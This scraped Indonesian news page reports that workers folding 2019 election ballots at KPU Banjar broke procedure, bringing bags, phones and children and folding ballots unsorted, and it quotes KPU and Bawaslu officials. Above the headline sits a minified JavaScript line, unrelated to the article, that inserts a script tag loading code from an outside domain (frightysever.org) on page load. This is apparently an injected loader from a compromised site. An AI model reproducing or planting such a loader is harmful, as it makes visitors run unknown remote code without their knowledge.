(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Pekerja Pelipatan Surat Suara di KPU Banjar Tak Taati SOP


MARTAPURA, Setelah sebanyak 776.174 lembar surat suara tiba di gudang logistik tambahan Komisi Pemilihan Umum (KPU) Kabupaten Banjar di Jalan Jeruk Sungai Ulin Banjarbaru pada Kamis (28/2) siang. Kini giliran penyortiran dan pelipatan surat suara mulai dilakukan.

Melibatkan 184 orang petugas, surat suara pemilih 2019 sudah mulai dilipat sejak Jum’at (1/3) kemarin. Informasi yang didapat Kanal Kalimantan, hari pertama proses pengerjaan pelipatan banyak pekerja yang menyalahi tata tertib (SOP) yang ditetapkan KPU Banjar, seperti membawa tas, telpon genggam dan makanan minuman.

Ketua KPU Banjar Muhaimin tidak memungkiri adanya beberapa petugas pekerja di hari pertama pelipatan surat suara kemarin ada yang menyalahi aturan. Walaupun sebelumnya sudah diberikan arahan dan penyelasan tentang SOP tersebut.

“Hari pertama Alhamdulilah berlangsung lancar, walaupun ada yang tidak menaati SOP yang sudah kita tetapkan, seperti membawa tas, hingga ada yang membawa anak-anak, kedepan nampaknya harus kita tegaskan lagi,” akunya.

Adapun surat suara yang dilipat tersebut meliputi 2 jenis surat suara suara Pemilu DPR Dapil Kalsel 1 berjumlah 846 packs, Surat Suara Pemilu DPRD Kabupaten Banjar Dapil 1 ada 176 packs, Dapil 2 ada 164 packs, Dapil 3 ada 145 packs dan Dapil 4 dengan jumlah 203 packs. Untuk setiap packs berisikan 500 lembar surat suara.

Sementara itu anggota Bawaslu Banjar Ramlianoor mengatakan, melihat secara umum pelipatan surat suara di hari pertama mengakui banyak sekali pelanggaran-pelanggaran terhadap SOP yang tidak diindahkan.

“Selain pelanggaran, ada yang membawa anak hingga makan minum dan membawa tas, ada juga petugas pelipatan surat suara yang tidak menyortir surat suara, tanpa dibuka langsung dilipat, nah itu yang kita sesalkan, sementara pengawasan dari KPU sendiri tidak ada,” paparnya.

Ramli menegaskan, seharusnya KPU sebagai pihak penanggung jawab pelipatan surat suara harusnya berada di lokasi, sehingga dapat mengkontrol pekerjaan semua petugas yang sedang melakukan pelipatan surat suara tersbut.

“Kita sampaikan ke KPU Banjar agar hari berikutnya bisa ditertibkan dan ditugaskan sesuai dengan SOP yang ada,” ujarnya.

Ditegaskannya pentingnya mencegah dan meminimalisir kesalahan, karena dikhawatirkan bisa merusak dari pada surat suara tersebut. (rendy)

Reporter : Rendy
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Banjir Rob Murung Selong Banjarmasin 407 Jiwa Terdampak

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More

13 jam ago

Tanggul Halangi Air Keluar di Komplek PWI, Ketua DPRD Banjarmasin Minta Dibongkar

KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More

13 jam ago

Banjir di Gang Serumpun Sungai Lulut Masih Selutut

KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More

15 jam ago

BLK Kalsel Buka Pendaftaran Pelatihan Kerja Tahun 2026

KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More

19 jam ago

Besok, Presiden RI Resmikan 166 Sekolah Rakyat Terpadu di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More

21 jam ago

Remaja 13 Tahun Terseret Arus di Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More

1 hari ago

This website uses cookies.